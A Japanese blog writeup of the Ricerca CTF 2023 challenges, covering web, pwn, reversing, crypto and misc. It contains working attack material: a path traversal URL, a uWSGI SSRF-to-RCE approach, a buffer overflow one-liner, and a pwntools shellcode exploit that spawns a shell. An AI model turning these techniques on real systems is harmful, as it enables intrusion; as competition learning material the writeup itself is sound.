Ricerca CTF 2023 Writeup
Ricerca Securityが主催のRicerca CTF 2023にソロで参加し、総合13位/国内学生チーム2位/個人チーム2位という結果でした。国内学生チームTOP3内なので賞金が貰えてうれしい。
Web
Cat Café [113 solves]
猫の画像が表示されるサイト。
@app.route('/img') def serve_image(): filename = flask.request.args.get("f", "").replace("../", "") path = f'images/{filename}' if not os.path.isfile(path): return flask.abort(404) return flask.send_file(path)
../
は再帰的に消去されていないので、..././
を投げると../
を作ることができて、Local File Inclusionができる。
http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
tinyDB [50 solves]
username/passwordを入力すると登録/ログインができて、そのユーザーのusername/passwordと権限(guest/admin)を教えてくれるサイト。adminになれればフラグが手に入る。
ユーザーのDBはセッションごとに作成され、初期化時にadminユーザーが作られている。パスワードはランダムなので推測はできない。
const db = new Map<SessionT, UserDBT>(); export function getUserDB(session: string) { if (db.has(session)) { return db.get(session) as UserDBT; } else { const userDB = new Map<AuthT, gradeT>(); userDB.set( { username: "admin", password: adminPW, }, "admin" ); db.set(session, userDB); return userDB; } }
また、ユーザー数が10を超えるとDBがクリアされ、adminユーザーが新しく追加される。DBがクリアされるときレスポンスで返すユーザー情報はadminの情報になるのだが、パスワード部分が***...
に置換されるのでレスポンスからはパスワードがわからない。
加えて、間違ったパスワードでadminユーザーとして登録しようとすると数秒後にadminのパスワードが変更されるようになっている。
type UserBodyT = Partial<AuthT>; server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => { const { username, password } = request.body; const session = request.session.sessionId; const userDB = getUserDB(session); let auth = { username: username ?? "admin", password: password ?? randStr(), }; if (!userDB.has(auth)) { userDB.set(auth, "guest"); } if (userDB.size > 10) { // Too many users, clear the database userDB.clear(); auth.username = "admin"; auth.password = getAdminPW(); userDB.set(auth, "admin"); auth.password = "*".repeat(auth.password.length); } const rollback = () => { const grade = userDB.get(auth); updateAdminPW(); const newAdminAuth = { username: "admin", password: getAdminPW(), }; userDB.delete(auth); userDB.set(newAdminAuth, grade ?? "guest"); }; setTimeout(() => { // Admin password will be changed due to hacking detected :( if (auth.username === "admin" && auth.password !== getAdminPW()) { rollback(); } }, 2000 + 3000 * Math.random()); // no timing attack! const res = { authId: auth.username, authPW: auth.password, grade: userDB.get(auth), }; response.type("application/json").send(res); });
わかりやすい脆弱性はないので、恐らく後述の処理で何かしらのロジックバグがあるのだろうと想像できるが、長い間わからなかった。
色々実験していると、サイズ上限でDBがクリアされてadminの情報が返ってくるときに、権限がadminとして表示されていることに気付く。
Result: { "authId": "admin", "authPW": "********************************", "grade": "admin" }
レスポンスに含める権限情報はgrade: userDB.get(auth)
の部分で設定しているのだが、そのときのauth.password
は***...
のはずだ。本来DBに格納されているパスワードとは異なるのでgrade
はguest
として表示されなければおかしい。
競技中は何が原因かはわからなかったが、どうやらadminのパスワードが***...
に変わっていると推測できる。ロールバック処理にも引っかかるので、DBがクリアされてからすぐにadmin:********************************
でログインするとフラグが手に入る。
RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}
この原因は競技後振り返って理解した。
userDB.set
した後にauth.password
を変更しているので一見大丈夫なように見えるが、セットしたauth
オブジェクトはコピーされてるわけではないので、auth.password
を変更するとuserDB
に入っているパスワードも変更されてしまうというわけだ。なるほどとなった。
funnylfi (unsolved) [6 solves]
今回の敗因。
import subprocess from flask import Flask, request, Response app = Flask(__name__) # Multibyte Characters Sanitizer def mbc_sanitizer(url :str) -> str: bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c" for c in url: try: if c.encode("idna").decode() in bad_chars: url = url.replace(c, "") except: continue return url # Scheme Detector def scheme_detector(url :str) -> bool: bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt", "pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"] url = url.lower() for s in bad_schemes: if s in url: return True return False # WAF @app.after_request def waf(response: Response): if b"RicSec" in b"".join(response.response): return Response("Hi, Hacker !!!!") return response @app.route("/") def funnylfi(): url = request.args.get("url") if not url: return "Welcome to Super Secure Website Viewer.<br>Internationalized domain names are supported.<br>ex. <code>?url=ⓔxample.com</code>" if scheme_detector(url): return "Hi, Scheme man !!!!" try: proc = subprocess.run( f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "[error]: timeout" if proc.returncode != 0: return "[error]: curl" return proc.stdout if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=31415)
curlが実行できるが、いくつかのフィルターがある。scheme_detector
でfile://
スキームがブロックされているが、Unicode正規化を使ったfile://
でバイパスできる。
そのためfile:///var/www/flag
でフラグが手に入ると思ったら、もう一枚フィルターがあった。waf
によりRicSec
が入るレスポンスをブロックされてしまっている。これはSECCON CTF 202 Finalのeasylfiを彷彿とさせるが、その問題で使ったstdoutのバッファ長制限は今回は無理なように見える。
ではどうするか、というのが問題の核心。自分はgopher
プロトコルが使える部分に注目して、SSRFで何かできないか考えた。
WSGIサーバーにはuWSGIを利用している。uwsgi SSRF
で調べると一つの記事を見つけた。
これによると、uWSGI 1.9以上3.0未満でuWSGIに好きなパケットを送れる状況のとき、RCEが可能らしいことがわかる。今問題のバージョンを見てみると、uWSGIは2.0.20だった。(3.0はまだstableでないっぽい)
このテクニックはReal World CTF 2018で出題されたらしくて、より詳細な説明が次の記事でされている。
このexploitはuWSGIがWSGIのパケットを処理するときに特殊に扱う変数を利用してRCEをするというものだ。UWSGI_FILE
という変数を指定すると、変数に格納されたパスを元に新しいアプリケーションを開始する。ファイルアップロードがあればそれを指定すればRCEだし、uWSGIはexec
というURLスキームもサポートしているようなのでexec://echo pwned
ということもできてしまう。
これが本当にできるかDocker内でパケットを送信して試していたところ、exec://
はなぜか駄目だったけどhttp://
は使えるので、外部のPythonプログラムを読み込ませてRCEすることはできた。
今回はcurlでgopher
プロトコルを使えばuWSGIにパケットを送信することができるので、これで勝ち_____と思ったが、curl: (3) URL using bad/illegal format or missing URL
でコケた。
どうやら、最近のcurlだとnull(%00
)が含まれているgopher
URLを弾くようになっているらしい。そんな…… (悲しい1)
「つまり、nullを含まないuWSGIのパケットを作成するか、また違うuWSGI SSRFのexploitを見つけろって問題だな!」と勝手に推測してuWSGIプロトコルの理解に数時間を費やしたが、UWSGI_FILE
をKeyとして指定するときにどうしても2byteのサイズ部分が0A 00
になってしまうし、他の種類のexploitを探しても見つからなかった。
また、modifier1=22のパケットを投げるとPython Codeを自由に実行してくれると仕様には書かれているのだが、残念ながら今問題のuWSGI実装ではサポートしていなかった。(悲しい2)
結局、uWSGIへのSSRFを用いたSSRFは想定解ではなかった。(悲しい3) 断言はできないが今回の環境では恐らく不可能だったと思う。
想定はmbc_sanitizer(url[:0x3f]).encode('idna').decode()
の部分でIDNAに変換するとき-
やが作れるのを利用することだった。多少気になったけど
-
やが作れるとは思わなくてスルーしていた。なるほど……
ちなみにapp.py
を書き替える非想定解もあったらしい。試してないけど、scp
みたいなファイルダウンロードを利用するのかな?後で復習したい。
pwn
BOFSec [107 solves]
typedef struct { char name[0x100]; int is_admin; } auth_t; auth_t get_auth(void) { auth_t user = { .is_admin = 0 }; printf("Name: "); scanf("%s", user.name); return user; }
Buffer Over Flowでis_adminを上書きすれば勝ち。文字列を繰り返すのはprintf
でできるらしいが覚えてないのでPythonでやる。
$ py -c 'print("A"*0x101)' | nc bofsec.2023.ricercactf.com 9001 Name: [+] Authentication successful. Flag: RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}
RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}
NEMU [20 solves]
コマンドで4つのレジスタを操作する独自命令をエミュレートできるプログラム。
int32_t r1 = 0, r2 = 0, r3 = 0, a = 0; ... switch (readint()) { case 1: { void load(uint64_t imm) { a = imm; } op_fp = load; read_fp = readimm; break; } case 2: { void mov(uint64_t* reg) { *reg = a; } op_fp = mov; read_fp = readreg; break; } case 3: { void inc(uint64_t* reg) { *reg += 1; } op_fp = inc; read_fp = readreg; break; } case 4: { void dbl(uint64_t* reg) { *reg *= 2; } op_fp = dbl; read_fp = readreg; break; } case 5: { void addi(uint64_t imm) { a += imm; } op_fp = addi; read_fp = readimm; break; } case 6: { void add(uint64_t* reg) { a += *reg; } op_fp = add; read_fp = readreg; break; } default: exit(1); }
int32_t
をuint64_t
として扱っているのが脆弱性。これによりr1
からはみ出した部分でgccのトランポリンコードという仕組みによりスタックに存在しているadd関数のバイトコードを4byte上書きできる。
つまり4byteのシェルコード実行が可能だが、短くやりづらいのでa
,r3
,r2
で12byteのシェルコードを作り4byteでそこに飛ばすことを考える。RIPとa
は近いので、short jump(0xeb)で飛べばよい。
飛んだ後に12byteでsh
を実行するのも面倒なので、ret
を使って何度もaddを呼び出し、1byteずつシェルコードを書いてstagerをした。あとはshell stormから拾ったシェルコードでシェルを手に入れる。
(このシェルコード実行パートはMapleCTF 2022 - Puzzling Oversightとよく似ているな~と思いながら解いていた。もちろん意図したわけじゃないでしょうし問題ないですが……)
io = connect() payload = b"\xeb\xee\x00\x00" num = u32(payload) # print() io.sendline("1") io.sendline("#" + str(u32(payload, signed=True))) io.sendline("2") io.sendline("r1") for i in range(32): io.sendline("4") io.sendline("r1") shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" for i, c in enumerate(shellcode): writer = asm(f""" mov BYTE PTR [rbp+{i}], {c} ret """) writer += b"\x90" * (12 - len(writer)) io.sendline("1") io.sendline("#" + str(u32(writer[4:8]))) io.sendline("2") io.sendline("r3") io.sendline("1") io.sendline("#" + str(u32(writer[:4]))) io.sendline("6") io.sendline("r2") writer = asm(f""" jmp rbp """) writer += b"\x90" * (12 - len(writer)) io.sendline("1") io.sendline("#" + str(u32(writer[4:8]))) io.sendline("2") io.sendline("r3") io.sendline("1") io.sendline("#" + str(u32(writer[:4]))) io.sendline("6") io.sendline("r2") io.interactive()
RicSec{me0w_i_am_n3mu_n3mu_c4tt0}
safe thread (unsolved) [4 solves]
今回BOFは使えなさそう。
脆弱性はBOFなので「これは...どっちだ...?」となり、funnylfiに時間割きたいのでパスしてしまった。実際BOFで解けるようなので、実験くらいはするべきだったと反省している。
Reversing
crackme [134 solves]
実行するとパスワードの入力が求められるが、radare2で見たらパスワードが見つかったので入力すればフラグが出てくる。
0x0000113c 488d35e30e00. lea rsi, str.N1pp0n_Ich__s3cuR3_p45_w0rD ; 0x2026 ; "N1pp0n-Ich!_s3cuR3_p45$w0rD" ; const char *s2
RicSec{U_R_h1y0k0_cr4ck3r!}
ignition [6 solves]
3... 2... 1... ignition.
ヒント: Ghidra v9.2.2 を使用してください
言われた通りGhidra 9.2.2を用意する。
jsc
という拡張子のファイルと、その実行環境が渡される。調べると、どうやらNodejsのバイトコードのようだ。
調べたらghidra_nodejsというツールが見つかったのでをインストールしてデコンパイルしてみる。
int F(int n,void *this) { code *pcVar1; int iVar2; int iVar3; StackCheck(); iVar2 = True; if (n != 0) { iVar2 = False; } if (iVar2 != False) { return 0; } iVar2 = True; if (n != 1) { iVar2 = False; } if (iVar2 == False) { pcVar1 = (code *)F; if (pcVar1 == TheHole) { pcVar1 = (code *)(*(code *)ThrowReferenceError)("F",_context); } iVar2 = (*pcVar1)(n + -1); pcVar1 = (code *)F; if (pcVar1 == TheHole) { pcVar1 = (code *)(*(code *)ThrowReferenceError)("F",_context); } iVar3 = (*pcVar1)(n + -2); return iVar2 + iVar3; } return 1; }
Fという関数があるが、これは一目フィボナッチ数列を再帰で求めるやつだとわかる。checkFlag関数を見てみる。
int checkFlag(int s,void *this) { undefined4 uVar1; undefined4 uVar2; int continue; int iVar3; uint charcode; code *charCodeAt; uint uVar4; uint uVar5; int i; int encoded; uint _charcode; _context = CreateFunctionContext(_context,_closure,1); *(undefined4 *)F = TheHole; StackCheck(); uVar1 = CreateArrayLiteral(_context,_closure,0,0,0x25); uVar2 = CreateClosure(_context,fib,1,2); *(undefined4 *)F = uVar2; continue = LdaNamedProperty(s,length); i = True; if (continue != 0x24) { i = False; } if (i != True) { return False; } charCodeAt = (code *)LdaNamedProperty(s,"slice"); continue = (*charCodeAt)(7,0); iVar3 = GetConstant((undefined8)"RicSec{"); i = True; if (continue != iVar3) { i = False; } if (i != False) { charCodeAt = (code *)LdaNamedProperty(continue,"slice"); charcode = (*charCodeAt)(0xffffffff,this); _charcode = GetConstant((undefined8)"}"); i = True; if (charcode != _charcode) { i = False; } if (i == True) { i = 0; while( true ) { continue = True; if (0x1b < i) { continue = False; } if (continue == False) { return True; } StackCheck(); charCodeAt = (code *)LdaNamedProperty(charcode,"charCodeAt"); charcode = (*charCodeAt)(i + 7); _charcode = charcode; uVar4 = (*(code *)F)(i); uVar5 = LdaKeyedProperty(_context,uVar1,i); continue = True; if ((_charcode ^ uVar4 & 0xff) != uVar5) { continue = False; } if (continue != True) break; i = i + 1; CheckOSRLevel(0); } return False; } } return False; }
フラグを判定している部分はflag.charCodeAt(i) ^ fib(i) != array[i]
だが、array
の中身が見当たらない。どこかにはあるはずなので、GhidraのListing Windowをしらみつぶしに見たら見つけることができた。
// // .arrs // ram:21000000-ram:210000e3 // Array_0_21000000 XREF[1]: 22000008 (*) 21000000 1c 00 00 Array_0 21000000 1c 00 00 00 ddw 1Ch Count XREF[1]: 22000008 (*) 21000004 00 00 00 00 3 longlong 3100000000h Item0 2100000c 00 00 00 00 6 longlong 6600000000h Item1 21000014 00 00 00 00 6 longlong 6F00000000h Item2 2100001c 00 00 00 00 3 longlong 3300000000h Item3 21000024 00 00 00 00 7 longlong 7700000000h Item4 2100002c 00 00 00 00 3 longlong 3400000000h Item5 21000034 00 00 00 00 3 longlong 3800000000h Item6 2100003c 00 00 00 00 6 longlong 6300000000h Item7 21000044 00 00 00 00 4 longlong 4A00000000h Item8 2100004c 00 00 00 00 4 longlong 4000000000h Item9 21000054 00 00 00 00 4 longlong 4E00000000h Item10 2100005c 00 00 00 00 2 longlong 2D00000000h Item11 21000064 00 00 00 00 f longlong F500000000h Item12 2100006c 00 00 00 00 8 longlong 8A00000000h Item13 21000074 00 00 00 00 4 longlong 4900000000h Item14 2100007c 00 00 00 00 0 longlong 600000000h Item15 21000084 00 00 00 00 b longlong BE00000000h Item16 2100008c 00 00 00 00 6 longlong 6200000000h Item17 21000094 00 00 00 00 2 longlong 2900000000h Item18 2100009c 00 00 00 00 2 longlong 2600000000h Item19 210000a4 00 00 00 00 3 longlong 3200000000h Item20 210000ac 00 00 00 00 b longlong B100000000h Item21 210000b4 00 00 00 00 1 longlong 1F00000000h Item22 210000bc 00 00 00 00 a longlong AE00000000h Item23 210000c4 00 00 00 00 5 longlong 5200000000h Item24 210000cc 00 00 00 00 2 longlong 2000000000h Item25 210000d4 00 00 00 00 5 longlong 5200000000h Item26 210000dc 00 00 00 00 2 longlong 2A00000000h Item27
あとはデコーダを書くだけ。
def fib(n): if n == 0: return 0 if n == 1: return 1 return fib(n-1) + fib(n-2) enc = [0x31, 0x66, 0x6F, 0x33, 0x77, 0x34, 0x38, 0x63, 0x4A, 0x40, 0x4E, 0x2D, 0xF5, 0x8A, 0x49, 0x6, 0xBE, 0x62, 0x29, 0x26, 0x32, 0xB1, 0x1F, 0xAE, 0x52, 0x20, 0x52, 0x2A] flag = "" for i in range(0x1c): c = (fib(i) ^ enc[i]) & 0xff flag += chr(c) print(flag)
RicSec{1gn1t10n_bytec0de_1s_s0_r1ch}
tic tac toe? (unsolved) [6 solves]
マルバツゲームのプログラム。
Ghidraで見るとforkをして元プロセスをexitしてその終了コードを元に判定する...というのを何度も繰り返す処理が見つかって、「exitの戻り値を判定条件としてz3に投げるやつか」と想像はできたが処理を読むのが重そうなので時間を気にしてパスしてしまった。
Crypto
Revolving Letters [119 solves]
LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz" def encrypt(secret, key): assert len(secret) <= len(key) result = "" for i in range(len(secret)): if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}") result += secret[i] else: result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) + LOWER_ALPHABET.index(key[i])) % 26] return result flag = input() key = "thequickbrownfoxjumpsoverthelazydog" example = "lorem ipsum dolor sit amet" example_encrypted = encrypt(example, key) flag_encrypted = encrypt(flag, key) print(f"{key=}") print(f"{example=}") print(f"encrypt(example, key): {example_encrypted}") print(f"encrypt(flag, key): {flag_encrypted}")
encrypt関数はsecretの各文字をkeyの各文字分ずらす関数。逆の分だけずらしてやると元の文が手に入る。
key='thequickbrownfoxjumpsoverthelazydog' enc = "RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}" LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz" def decrypt(secret, key): assert len(secret) <= len(key) result = "" for i in range(len(secret)): if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}") result += secret[i] else: result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) - LOWER_ALPHABET.index(key[i])) % 26] return result print(decrypt(enc, key))
RicSec{great_you_can_do_anything!}
Rotated Secret Analysis [34 solves]
import os from Crypto.Util.number import bytes_to_long, getPrime, isPrime flag = os.environ.get("FLAG", "fakeflag").encode() while True: p = getPrime(1024) q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. https://en.wikipedia.org/wiki/Bitwise_operation#Rotate) if isPrime(q): break n = p * q e = 0x10001 m = bytes_to_long(flag) c = pow(m, e, n) print(f'{n=}') print(f'{e=}') print(f'{c=}')
(はてなのtex記法に敗北したのでtexそのまま表示しています。なぜ二つ目の[tex: ]
から変換されないんだ......)
RSAだが、qはpの上位512bitと下位512bitを入れ替えた数になっている。
Crypto-erがよくしている立式を思い出すと、p = 2^{512}a+b, q=2^{512}b+aと見ることができる。このときn=2^{1024}ab+2^{512}(a2+b2)+abで、a,bはそれぞれ512bitなのでnを分解すると以下の様になる。
| a * b | | a^2+b^2 | | a * b |
つまり、nの上位512bitと下位512bitを持ってくればabが手に入り、そこからa2+b2も手に入れることができる。a2+b2は繰り上がりを考えると513bitなので、nの上位512bitを取るときは場合によっては1を引く必要がある。(今回はそのケースだった)
あとはa2+2ab+b2=(a+b)2からa+bが手に入るので、解と係数の関係を利用するとa,bが手に入る。あとはp,qを計算して復号するだけ。
n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511 e=65537 c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448 # p = a * 2 ** 512 + b # q = b * 2 ** 512 + a # | a * b | # | a^2+b^2 | # | a * b | n_1 = n >> 1024 n_2 = n & (2**1024 - 1) ab_2 = n & (2**512 - 1) ab_1 = ((n_1 - ab_2) >> 512) - 1 ab = ab_1 * 2 ** 512 + ab_2 tmp = n - ab * 2 ** 1024 - ab a2_p_b2 = tmp >> 512 from gmpy2 import isqrt a_p_b = isqrt(a2_p_b2 + 2 * ab) assert a_p_b ** 2 == a2_p_b2 + 2 * ab a = (a_p_b + isqrt(a_p_b ** 2 - 4 * ab)) // 2 b = (a_p_b - isqrt(a_p_b ** 2 - 4 * ab)) // 2 assert a * b == ab p = a * 2 ** 512 + b q = b * 2 ** 512 + a assert p * q == n from Crypto.Util.number import long_to_bytes d = pow(e, -1, (p-1) * (q-1)) print(long_to_bytes(pow(c, d, n)))
RicSec{d0nt_kn0w_th3_5ecr3t_w1th0ut_r0t4t1n9!}
今まではこういう問題に負けがちだったので、これ解けたの個人的にかなり嬉しい。
(RSALCGは何もわかりませんでしたが...)
Misc
gatekeeper [21 solves]
import subprocess def base64_decode(s: str) -> bytes: proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True) if proc.returncode != 0: return '' return proc.stdout if __name__ == '__main__': password = input('password: ') if password.startswith('b3BlbiBzZXNhbWUh'): exit(':(') if base64_decode(password) == b'open sesame!': print(open('/flag.txt', 'r').read()) else: print('Wrong')
base64した結果がopen sesame!
である必要があるが、open sesame!
のbase64結果であるb3BlbiBzZXNhbWUh
は禁止されている。
適当に実験しても何も見つからなかったので、base64のソースコードを見に行く。すると、4文字で分けた時に終端でなくてもaa==
やaaa=
が許可されていることがわかった。
それを元に実験してみると、途中で=
が現れた場合は一旦状態をクリアして、次の文字列から改めて復号し始めることがわかった。つまり、bw==
(平文o
)とcGVuIHNlc2FtZSE=
(平文pen sesame!
)をくっつけたbw==cGVuIHNlc2FtZSE=
を投げるとフラグが手に入る。
RicSec{b4s364_c4n_c0nt41n_p4ddin6}
First Bloodだった。わいわい。
感想
高品質な問題ぞろいで楽しかったです。来年も期待しています。
ところで来週は私が作問に参加したthehackerscrew主催のCrewCTFが開催されます。今CTFのような素晴らしい問題が出るとは保証できませんが、少なくとも私の作った問題はよくできたと思っているので、よかったら遊びに来てください。